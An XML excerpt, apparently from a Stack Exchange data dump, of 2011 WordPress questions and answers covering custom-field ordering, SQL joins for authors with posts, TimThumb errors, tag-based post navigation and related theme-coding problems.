  <row Id="14137" PostTypeId="1" AcceptedAnswerId="14601" CreationDate="2011-04-07T01:27:52.373" Score="-2" ViewCount="231" Body="&lt;p&gt;I am unable to access the new lightbox-style link popup window. When I try to open it, I get an &quot;error on page&quot; message, and the popup doesn't appear. I've tried on ffx, ie &amp;amp; chrome, on a pc and a mac. I go to work and all is well, on all those same browsers, pc &amp;amp; mac. I can't find any pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've logged out &amp;amp; back in again, cleaned cache, refresh, yada, yada. Does anyone have any idea what could be causing this and how i might fix it? &lt;/p&gt;&#xA;" OwnerUserId="2044" LastEditorUserId="2044" LastEditorDisplayName="" LastEditDate="2011-04-07T01:41:50.480" LastActivityDate="2011-04-12T20:05:30.030" Title="tinymce &quot;Link&quot; popup throwing error, not working" Tags="&lt;links&gt;&lt;tinymce&gt;&lt;visual-editor&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14138" PostTypeId="2" ParentId="14135" CreationDate="2011-04-07T01:34:39.307" Score="1" ViewCount="" Body="&lt;p&gt;How about creating two custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rating_type = 'stars' or 'hearts'&#xA;rating_score = 1-5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can order by one custom field :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;'posts_per_page' =&amp;gt; $con_review_num,&#xA;'post_type' =&amp;gt; 'con_product_reviews',&#xA;'paged' =&amp;gt; $paged,&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'DESC',&#xA;'meta_key' =&amp;gt; 'rating_score'   &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to know what kind of rating to show just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rating_type = get_post_meta($post-&amp;gt;ID,'rating_type',true);&#xA;if ($rating_type == &quot;stars&quot;){&#xA;   //show star rating&#xA;}else{&#xA;   //show heartsrating&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T01:34:39.307" CommentCount="1" />
  <row Id="14139" PostTypeId="2" ParentId="8050" CreationDate="2011-04-07T01:45:40.810" Score="2" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://apress.com/book/view/1430228954&quot; rel=&quot;nofollow&quot;&gt;Beginning WordPress 3&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;by &lt;a href=&quot;http://sillybean.net/id=goIhPPx9jfkC&amp;amp;printsec=frontcover#v=onepage&amp;amp;q&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;Stephanie Leary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.apress.com/media/catalog/product/cache/9/image/9df78eab33525d08d6e5fb8d27136e95/A/9/A9781430228950-3d_10.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Beginning WordPress 3 is a complete guide for the beginning developer who wants to start using WordPress. You'll learn how to publish and manage online content, add media, create widgets and plugins, and much more. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Level&lt;/strong&gt; | Intermediate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That blurb above is spot-on, but this book should probably be called &lt;em&gt;Beginning WordPress 3 Development&lt;/em&gt;. Reason being, this book is aimed at people who are comfortable with &lt;em&gt;using&lt;/em&gt; WordPress but want to explore &lt;em&gt;programming&lt;/em&gt; WordPress. Nice lightweight introduction to core concepts like the plugin/widget APIs, custom post types and taxonomies, basic techniques for slicing and dicing HTML into a theme, etc. A good introduction for someone about to embark on their first theme build, and a great jump point for more advanced books. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;eBook&lt;/strong&gt; | $27.99&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Paper&lt;/strong&gt; | $39.99&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://books.google.com/books?id=goIhPPx9jfkC&amp;amp;lpg=PP1&amp;amp;dq=Beginning%20WordPress%203&amp;amp;pg=PP1#v=onepage&amp;amp;q&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;Book preview is available on Google Books&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4443" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-03T21:53:55.980" LastActivityDate="2011-07-03T21:53:55.980" CommunityOwnedDate="2011-04-07T01:45:40.810" />
  <row Id="14141" PostTypeId="2" ParentId="14129" CreationDate="2011-04-07T02:26:14.390" Score="0" ViewCount="" Body="&lt;p&gt;WordPress.com doesn't allow for custom plugins, you only get what they offer. From a quick look at the WordPress.com's widgets page, it looks like your best best is to use one of these widgets (depending on exactly what you want it to do): &quot;Archives&quot;, &quot;Categories&quot; or &quot;Links&quot;. &lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-04-07T02:26:14.390" />
  <row Id="14142" PostTypeId="2" ParentId="14126" CreationDate="2011-04-07T03:28:40.987" Score="1" ViewCount="" Body="&lt;p&gt;Why go through the trouble , it's possible but it requires jumping through all sorts of hoops and using more resources. You can use fopen , the database or nested php files, for instance have a look at &lt;a href=&quot;http://www.phpclasses.org/package/1339-PHP-Protect-the-path-of-yours-pictures.html&quot; rel=&quot;nofollow&quot;&gt;php image protect class&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this for people or bots?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-04-07T03:39:14.083" LastActivityDate="2011-04-07T03:39:14.083" CommentCount="1" />
  <row Id="14143" PostTypeId="1" AcceptedAnswerId="14391" CreationDate="2011-04-07T03:58:55.000" Score="3" ViewCount="137" Body="&lt;p&gt;I have run into an issue trying to use the sidebar args  (before_widget,after widget,after_widget,before_widget) as theme style friendly parameters for the function wp_list_bookmarks, that is that the wp_list_bookmarks output will look just as the one&#xA;inside WP_Widget_Links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I almost copied verbatim the code of the links widget but when trying to reuse the only one sidebar args (via&#xA;the global $wp_registered_sidebars) I get some css classes for the widget container that dont show up&#xA;using the WP_Widget_Links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the following dump of a sidebar args:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'name' =&amp;gt; 'Sidebar 1'&#xA;'id' =&amp;gt; 'sidebar-1'&#xA;'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;'&#xA;'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;'  &#xA;'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;'&#xA;'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By reading the wp code I assumed that is safe to change %1$s, %2$s for %id, %class resp, and then once the&#xA;wp_list_bookmarks gets executed I should end with before_widget looking like &lt;code&gt;&amp;lt;li id=&quot;linkcat-&quot; class=&quot;widget linkcat&quot;&amp;gt;&lt;/code&gt;.&#xA;But after comparing to the output of the links widget the widget css classname is missing, and the output of my code looks &#xA;a bit odd in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code where I use the function, which gets called as a filter to sidebars_widgets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_sidebars_widgets($sidebar_widgets) {&#xA;    global $wpdb, $wp_registered_sidebars;&#xA;    static $hits;&#xA;    if(++$hits == 2) {&#xA;&#xA;        $sidebar = array_values($wp_registered_sidebars);&#xA;&#xA;        $before_title = $sidebar[0]['before_title'];&#xA;        $after_title = $sidebar[0]['after_title'];&#xA;        $before_widget = $sidebar[0]['before_widget'];&#xA;        $after_widget = $sidebar[0]['after_widget'];&#xA;&#xA;        $before_widget = str_replace('%2$s','%class',$before_widget);&#xA;        $before_widget = str_replace('%1$s','%id',$before_widget);&#xA;&#xA;        wp_list_bookmarks(apply_filters('widget_links_args',array(&#xA;            'title_before' =&amp;gt; $before_title, 'title_after' =&amp;gt; $after_title,&#xA;            'category_before' =&amp;gt; $before_widget, 'category_after' =&amp;gt; $after_widget,&#xA;            'hide_invisible' =&amp;gt; true,'title_li' =&amp;gt; 'Links',&#xA;            'categorize' =&amp;gt; 0,'inquiry' =&amp;gt; true&#xA;        )));&#xA;    }&#xA;    return $sidebar_widgets;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did you have any clue of what Im missing here? I keep trying to get clear how WP feed widgets args but&#xA;no explanation so far while reading the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for any on your considerations.&lt;/p&gt;&#xA;" OwnerUserId="3827" LastEditorUserId="3827" LastEditorDisplayName="" LastEditDate="2011-04-08T12:34:33.563" LastActivityDate="2011-04-10T04:30:09.260" Title="Problems with the sidebar args and wp_list_bookmarks" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" />
  <row Id="14144" PostTypeId="2" ParentId="11420" CreationDate="2011-04-07T04:13:41.243" Score="1" ViewCount="" Body="&lt;p&gt;The default Category of 'Uncategorized' it is hard-coded in several places.  However, check out upgrade.php line # 109.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to change the first posts check out the schema.php file located wp-admin/includes/schema.php line # 712&#xA;From there you can edit the first post.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-04-07T04:13:41.243" />
  <row Id="14145" PostTypeId="2" ParentId="14126" CreationDate="2011-04-07T04:22:32.577" Score="1" ViewCount="" Body="&lt;p&gt;Use the Next Gen Gallery plugin: Thumbnails are given different file names and galleries and posts can have many to many relationship.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NextGEN Gallery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-04-07T04:22:32.577" CommentCount="1" />
  <row Id="14146" PostTypeId="2" ParentId="14136" CreationDate="2011-04-07T05:37:23.713" Score="3" ViewCount="" Body="&lt;p&gt;This is a WAY open-ended question. I feel that if you did some research you'd find LOTS of answers. Here's how I would go about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install or modify your code to use a members only plugin. Lock all the Non-Member pages. I'm confused on what you men by check a banner, but if the banner is just going to a registration page then block that page unless a query string something like &lt;code&gt;example.net/register?banner=true&lt;/code&gt; has been set. If they go to &lt;code&gt;example.net/register&lt;/code&gt; it would return false. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure I answer your question like I said it's super open-ended. That's how I would do it. (if I understand the question) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to use a PHP &lt;a href=&quot;http://php.net/manual/en/reserved.variables.session.php&quot; rel=&quot;nofollow&quot;&gt;$_SESSION&lt;/a&gt; or even a &lt;a href=&quot;http://us2.php.net/manual/en/function.setcookie.php&quot; rel=&quot;nofollow&quot;&gt;$_COOKIE&lt;/a&gt; to see if the user clicked the banner. I would do something like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a category &quot;premium&quot; and assign all preminum page to that category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your functions.php in your theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'premium_redirect' );&#xA;&#xA;function premium_redirect(){&#xA;   //see if post is in category of premium&#xA;   if(in_category('premium')){&#xA;        //see if the banner variable is set&#xA;        $banner_check =$_GET['banner'];&#xA;        //set the session (or cookie)&#xA;        if($banner_check == 'true'){$_SESSION['banner'] = 'true';}&#xA;        ///see if the $banner and the $_SESSION is set if not take them to the banner page&#xA;        if($_SESSION['banner'] != 'true'){&#xA;                 wp_redirect('http://example.net/bannerpage');&#xA;        }&#xA;     return;&#xA;    } //end cat check&#xA;return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then have your banner link to &lt;code&gt;example.net/premiumpage?banner=true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this but I us similar approaches all the time. You may also need to use a custom post type for pages instead of &lt;code&gt;in_category&lt;/code&gt; see &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Post_Type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags#A_Post_Type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2204" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-13T00:46:03.883" LastActivityDate="2011-04-13T00:46:03.883" CommentCount="5" />
  <row Id="14147" PostTypeId="2" ParentId="14090" CreationDate="2011-04-07T05:41:44.953" Score="0" ViewCount="" Body="&lt;p&gt;The fact that some images work tells me that TimThumb is behaving fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the broken image url you will see that the error is 'no mime type specified' which tells me the issue is with the image rather than the script. I would suggest resaving the image and seeing if that fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference this is the code that generates the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $file_infos = getimagesize ($file);&#xA;$mime_type = $file_infos['mime'];&#xA;&#xA;// no mime type&#xA;if (empty ($mime_type)) {&#xA;    display_error ('no mime type specified');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically what is happening is GD can't find the mime-type and so it doesn't know what to do with the image. For it to get this far it must have found the image so the file does exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oooh - I just noticed the different subdomain (testing versus media). I would recommend always using the same url since using the media subdomain won't make anything faster with TimThumb. I wrote an article related to this here: &lt;a href=&quot;http://www.binarymoon.co.uk/2010/11/timthumb-cdn-amazon-s3-good/&quot; rel=&quot;nofollow&quot;&gt;http://www.binarymoon.co.uk/2010/11/timthumb-cdn-amazon-s3-good/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final update - I downloaded the image to my test site and have just see that it resizes fine if I rename it. So I think the issue is the space in the file name which is converted into a +. Try removing the space as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW it's nice to see so much negativity around my little script :( Timthumb was designed to fill a gap that WordPress didn't support. This has since changed with the introduction of post thumbnails, but many still prefer TimThumb.&lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="1016" LastEditorDisplayName="" LastEditDate="2011-04-07T05:53:04.900" LastActivityDate="2011-04-07T05:53:04.900" CommentCount="1" />
  <row Id="14148" PostTypeId="1" AcceptedAnswerId="14153" CreationDate="2011-04-07T05:46:26.013" Score="2" ViewCount="138" Body="&lt;p&gt;I found a great piece of code &lt;a href=&quot;http://sltaylor.co.uk/blog/get-wordpress-users-by-role/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that returns the ID's of users by role. What I would like to do is modify it so it only returns the ID's of the users who have at least one post. I have tried to &lt;code&gt;INNER JOIN&lt;/code&gt; the &lt;code&gt;$wpdb-&amp;gt;posts&lt;/code&gt; table and feel that I did that correctly but not sure. Here is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getUsersByRole( $roles ) {&#xA;    global $wpdb;&#xA;    if ( ! is_array( $roles ) ) {&#xA;        $roles = explode( &quot;,&quot;, $roles );&#xA;        array_walk( $roles, 'trim' );&#xA;    }&#xA;    $sql = '&#xA;        SELECT  ID, display_name&#xA;        FROM ' . $wpdb-&amp;gt;users . ' INNER JOIN ' . $wpdb-&amp;gt;usermeta . ' ON ' . $wpdb-&amp;gt;users . '.ID=' . $wpdb-&amp;gt;usermeta . '.user_id&#xA;        AND INNER JOIN '. $wpdb-&amp;gt;posts .'  ON ' .$wpdb-&amp;gt;users . '.ID=' . $wpdb-&amp;gt;posts . '.post_author&#xA;        WHERE   ' . $wpdb-&amp;gt;usermeta . '.meta_key        =       \'' . $wpdb-&amp;gt;prefix . 'capabilities\' &#xA;        AND     (&#xA;    ';&#xA;    $i = 1;&#xA;    foreach ( $roles as $role ) {&#xA;        $sql .= ' ' . $wpdb-&amp;gt;usermeta . '.meta_value    LIKE    \'%&quot;' . $role . '&quot;%\' ';&#xA;        if ( $i &amp;lt; count( $roles ) ) $sql .= ' OR ';&#xA;        $i++;&#xA;    }&#xA;    $sql .= ' ) ';&#xA;    $sql .= ' ORDER BY display_name ';&#xA;    $userIDs = $wpdb-&amp;gt;get_col( $sql );&#xA;    return $userIDs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which the SQL query outputs &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT ID, display_name FROM wp_users INNER JOIN wp_usermeta ON&#xA;  wp_users.ID=ba_usermeta.user_id AND&#xA;  INNER JOIN wp_posts ON&#xA;  wp_users.ID=ba_posts.post_author WHERE&#xA;  wp_usermeta.meta_key =&#xA;  'wp_capabilities' AND (&#xA;  wp_usermeta.meta_value LIKE&#xA;  '%&quot;author&quot;%' OR wp_usermeta.meta_value&#xA;  LIKE '%&quot;editor&quot;%' ) ORDER BY&#xA;  display_name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've never used &lt;code&gt;INNER JOIN&lt;/code&gt; (or &lt;code&gt;JOIN&lt;/code&gt;) so I could doing it wrong. I also think I need to do a count or something to make sure I get a result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here is the full working function as PHP for anyone who finds this later&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function getUsersByRole( $roles ) {&#xA;    global $wpdb;&#xA;    if ( ! is_array( $roles ) ) {&#xA;        $roles = explode( &quot;,&quot;, $roles );&#xA;        array_walk( $roles, 'trim' );&#xA;    }&#xA;    $sql = 'SELECT ID, display_name&#xA;        FROM '. $wpdb-&amp;gt;users .'&#xA;        JOIN '. $wpdb-&amp;gt;usermeta.' ON ('.$wpdb-&amp;gt;users.'.ID = '.$wpdb-&amp;gt;usermeta.'.user_id AND '.$wpdb-&amp;gt;usermeta.'.meta_key = \''.$wpdb-&amp;gt;prefix.'capabilities\')&#xA;        WHERE ID IN (SELECT post_author FROM ' .$wpdb-&amp;gt;posts.')&#xA;        AND(';&#xA;    $i = 1;&#xA;    foreach ( $roles as $role ) {&#xA;        $sql .= ' ' . $wpdb-&amp;gt;usermeta . '.meta_value    LIKE    \'%&quot;' . $role . '&quot;%\' ';&#xA;        if ( $i &amp;lt; count( $roles ) ) $sql .= ' OR ';&#xA;        $i++;&#xA;    }&#xA;    $sql .= ' ) ';&#xA;    $sql .= ' ORDER BY display_name ';&#xA;    $userIDs = $wpdb-&amp;gt;get_col( $sql );&#xA;&#xA;    return $userIDs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2204" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-07T07:05:04.790" LastActivityDate="2011-04-07T07:05:04.790" Title="Return ID of authors who have at least one post" Tags="&lt;users&gt;&lt;mysql&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="14149" PostTypeId="1" AcceptedAnswerId="14180" CreationDate="2011-04-07T05:48:35.713" Score="1" ViewCount="82" Body="&lt;p&gt;I am trying to figure out how to add a custom field to display an image instead of a title on the stats_get_csv from Wordpress stats.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php if ( function_exists('stats_get_csv') &amp;amp;&amp;amp; $top_posts = stats_get_csv('postviews', 'days=2&amp;amp;limit=6') ) : ?&amp;gt;&#xA;    &amp;lt;ol&amp;gt;&#xA;&amp;lt;?php foreach ( $top_posts as $p ) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $p['post_permalink']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $p['post_title']; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ol&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( function_exists('stats_get_csv') &amp;amp;&amp;amp; $top_posts = stats_get_csv('postviews', 'days=2&amp;amp;limit=6') ) : ?&amp;gt;&#xA;    &amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'Image', true) ) : ?&amp;gt;&#xA;        &amp;lt;ol&amp;gt;&#xA;            &amp;lt;?php foreach ( $top_posts as $p ) : ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;img class=&quot;thumb&quot; src=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'Image', true) ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; height='100' width='100' /&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ol&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4278" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-08T07:50:01.310" LastActivityDate="2011-07-08T06:28:03.657" Title="Wordpress.com Stats stats_get_csv with custom field?" Tags="&lt;stats-get-csv&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14150" PostTypeId="1" CreationDate="2011-04-07T06:02:08.843" Score="4" ViewCount="185" Body="&lt;p&gt;I'm trying to create links to the next and previous posts within a specific tag (on the post page itself), but I can't seem to find a plugin or source that does this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to something like this, appearing below the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_previous_link(&quot;tagname&quot;);&#xA;get_next_link(&quot;tagname&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody know of a way to accomplish this? Otherwise I'll have to write something myself, which is fine, but I figured I wouldn't reinvent the wheel unless I have to.&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="2576" LastEditorDisplayName="" LastEditDate="2011-04-07T06:10:05.763" LastActivityDate="2011-04-07T06:25:56.777" Title="How to Get Next or Previous Post in a Specific Tag?" Tags="&lt;tags&gt;&lt;links&gt;&lt;navigation&gt;&lt;next-post-link&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14151" PostTypeId="2" ParentId="14150" CreationDate="2011-04-07T06:19:08.327" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_adjacent_post()&lt;/code&gt;&lt;/a&gt;, which is used by all functions that return a (link to) the next or previous post, only has a &lt;code&gt;$in_same_cat&lt;/code&gt; argument, which looks at the categories the post is in, not the tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could hook into the &lt;code&gt;get_[next|previous]_post_join&lt;/code&gt; to modify the join query for your call, but then it's probably easier to &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/link-template.php#L1088&quot; rel=&quot;nofollow&quot;&gt;copy the function&lt;/a&gt;, remove the category-specific code and replace it with tag-specific code. Or make it even more generic and submit it as a patch to WordPress :-)&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T06:19:08.327" CommentCount="1" />
  <row Id="14152" PostTypeId="2" ParentId="14150" CreationDate="2011-04-07T06:25:56.777" Score="1" ViewCount="" Body="&lt;p&gt;Does this work for that problem? &lt;a href=&quot;http://digwp.com/2010/04/post-navigation-outside-loop/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/04/post-navigation-outside-loop/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in that post works for &quot;Archive-View Pages&quot; &amp;amp; &quot;Single-View Pages&quot; :P&lt;/p&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-04-07T06:25:56.777" CommentCount="1" />
  <row Id="14153" PostTypeId="2" ParentId="14148" CreationDate="2011-04-07T06:35:28.783" Score="2" ViewCount="" Body="&lt;p&gt;Instead of a &lt;code&gt;JOIN&lt;/code&gt;, you can use a &lt;code&gt;IN&lt;/code&gt; with a subquery, to prevent duplicate results because of the join:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID, display_name&#xA;FROM wp_users&#xA;WHERE ID IN (SELECT post_author FROM wp_posts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not look at capabilities. If you also want that you can add them like a join, but move the &lt;code&gt;meta_key&lt;/code&gt; clause in the join, also to prevent duplicate results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID, display_name&#xA;FROM wp_users&#xA;    JOIN wp_usermeta ON (wp_users.ID = wp_usermeta.user_id AND wp_usermeta.meta_key = 'wp_capabilities')&#xA;WHERE ID IN (SELECT post_author FROM wp_posts)&#xA;    AND (wp_usermeta.meta_value LIKE '%&quot;author&quot;%'&#xA;        OR wp_usermeta.meta_value LIKE '%&quot;editor&quot;%' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Up to you to convert this back to PHP! Sidenote: Is the &lt;code&gt;wp_&lt;/code&gt; in &lt;code&gt;wp_capabilities&lt;/code&gt; dependent on the database prefix, or is it always &lt;code&gt;wp_&lt;/code&gt;, even if your table names start with another prefix?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T06:35:28.783" CommentCount="2" />
  <row Id="14154" PostTypeId="1" AcceptedAnswerId="14156" CreationDate="2011-04-07T06:41:40.463" Score="0" ViewCount="80" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://codex.wordpress.org/Data_Validation#URLs&quot; rel=&quot;nofollow&quot;&gt;esc_url&lt;/a&gt; to sanitize my url. The only problem is that &quot;my link&quot; becomes &quot;mylink&quot;. I wouldreally like it to become &quot;my-link&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-04-07T08:15:02.927" Title="esc_url removes white space. Can I change that to using '-'?" Tags="&lt;sanitization&gt;" AnswerCount="1" />
  <row Id="14155" PostTypeId="1" AcceptedAnswerId="14157" CreationDate="2011-04-07T07:59:31.063" Score="0" ViewCount="152" Body="&lt;p&gt;&lt;a href=&quot;http://blog.sanspace.in/&quot; rel=&quot;nofollow&quot;&gt;http://blog.sanspace.in/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog home page is messed up. None of the plugins or sidebar widgets are working. Only the latest post is showed that too partially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, other pages and posts (accessing through their URL) seems fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.sanspace.in/contact/&quot; rel=&quot;nofollow&quot;&gt;http://blog.sanspace.in/contact/&lt;/a&gt; [page]&#xA;&lt;a href=&quot;http://blog.sanspace.in/hello-world/&quot; rel=&quot;nofollow&quot;&gt;http://blog.sanspace.in/hello-world/&lt;/a&gt; [post]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what exactly the problem is. Could anyone help me with this? Is there anything wrong with the wordpress settings? Else, something needs to be done with my server settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;: I have hosted it with hostso in a shared hosting plan. I did not modify any WP files. My home page is a default WP home which shows the latest post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; _&lt;em&gt;closed&lt;/em&gt;_ : The problem was with the json_last_error() method I used in the latest post. Somehow the method is no longer supported by my server it seems. It caused all the problems.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditorDisplayName="" LastEditDate="2011-04-07T15:01:33.157" LastActivityDate="2011-04-07T15:01:33.157" Title="Wordpress home page doesn't work, but other pages do. How to rectify?" Tags="&lt;errors&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="1" />
